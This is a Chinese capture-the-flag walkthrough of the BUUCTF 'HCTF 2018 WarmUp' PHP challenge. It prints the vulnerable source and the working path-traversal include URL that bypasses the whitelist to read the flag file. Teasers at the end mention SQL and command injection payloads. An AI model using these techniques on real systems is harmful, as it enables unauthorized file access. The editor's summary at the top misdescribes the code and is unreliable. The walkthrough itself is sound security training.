[BUUCTF][Web][HCTF 2018]WarmUp 1

buuctf,web,hctf,warmup · 浏览次数 : 13

小编点评

**问题分析:** 该代码尝试访问一个名为 `source.php` 的文件,但它使用了一些恶意技巧来绕过安全措施。 **恶意技巧:** 1. 将 `file` 参数以问号处截断并判断其在白名单中。 2. 使用 `urldecode()` 将参数解码。 3. 在 `source.php` 中包含一个名为 `flag` 的变量,该变量将被返回。 **漏洞:** 当用户通过 `file` 参数传递一个有效的目录路径时,代码可能会执行恶意代码。由于恶意代码被嵌入 `source.php` 中,当用户访问 `source.php` 文件时,代码会执行恶意代码。 **解决方案:** 1. 阻止用户从 `file` 参数中获取任何恶意代码。 2. 彻底过滤用户输入的任何字符。 3. 使用正则表达式匹配恶意代码的特征。 4. 对用户提供一个安全浏览体验。 **安全建议:** * 确保所有输入都被安全过滤。 * 不要从 `file` 参数中获取任何恶意代码。 * 使用正则表达式匹配恶意代码的特征。 * 对用户提供一个安全浏览体验。

正文

这题已经标识为php 代码审计题,那么需要搞到源码才行
打开靶机对应的url,展示的是一张笑脸图片
右键查看网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
这里显示存在一个叫 source.php的文件
尝试访问 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

从源码可知,存在一个叫hint.php的文件,同时可以作为file的参数传入,构造url

http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php

得到以下回显,这里有重要信息

flag not here, and flag in ffffllllaaaagggg

这里有个题眼,flag在ffffllllaaaagggg文件中,现在就需要构造目录穿越的渗透方式,来或者这个文件的内容,这里可以推测肯定是在上几层的目录中,否则很难搞定

继续阅读源码 checkFile 函数,看有没有什么方式可以绕过

// 1.
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//2.
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

问题就出现在这一段

1处, 首先将传入的参数以问号处截断,然后判断 ?以前的字符串是否在白名单中,如果在就通过。

那么可以构造一个这样的url试一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg

如果没有通过检查,源码可知,一定会报you can't see it

这个url展示一片空白,那么说明这个套路没问题,继续向上加层级尝试

 最后得到这个url ok:
 http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
 

得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}

与[BUUCTF][Web][HCTF 2018]WarmUp 1相似的内容:

[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码

[BUUCTF][Web][极客大挑战 2019]EasySQL 1

打开靶机对应的url 界面显示需要输入账号和密码 分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如 123' 发现两个框可以注入,因为报了个错误信息 You have an error in your SQL syntax; check the manual that correspon

[BUUCTF][Web][极客大挑战 2019]Havefun 1

打开靶机的URL,看到一个页面 右键查看源代码,看到有用信息 ...

[BUUCTF][Web][ACTF2020 新生赛]Include 1

打开靶机对应的url 显示一个tips 超链接 点击访问超链接,对应Url为 http://469398f2-5677-4270-a4a4-55c5e4a7504a.node4.buuoj.cn:81/?file=flag.php 显示信息Can you find out the flag, 右键查

[BUUCTF][Web][ACTF2020 新生赛]Exec 1

打开靶机对应url 显示可以输出ip 来进行ping操作 尝试试一下是否有命令注入的可能 127.0.0.1|ls 果然可以,输出结果 index.php PING 127.0.0.1 (127.0.0.1): 56 data bytes 按照套路估计是在根目录,试一下 127.0.0.1|ls /

[BUUCTF][Web][SUCTF 2019]EasySQL 1

这一题有点蛋疼,比较难顶 看了别人的write up 也很难get到解题思路,感觉必须要拿到源码进行审计才能解 大佬们猜后端是这么写的 select $_POST['query'] || flag from Flag; 这里使用或来拼接字段名称 那么输入*,1, 用1 || flag得到1,这样拼接

[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1

打开靶机对应URL 提示有ip参数 尝试构造url http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1 显示 /?ip= PING 127.0.0.1 (127.0.0.1): 56 data byt

[BUUCTF][Web][极客大挑战 2019]Secret File 1

打开靶机对应的url 右键查看网页源代码,查看到一个访问路径 /Archive_room.php 构造url访问一下 http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php 右键再次查看源代码,有一

[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题 爆出一下错误 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server versi

[BUUCTF][WEB][极客大挑战 2019]Knife 1

这题几乎是送分 题目不断暗示,后台存在一句话木马 拿个蚁剑连上去就完事了 这里用curl 连上去,演示一下,理解一下其中的原理 #注意 phpinfo() 后面的分号不能省 curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f67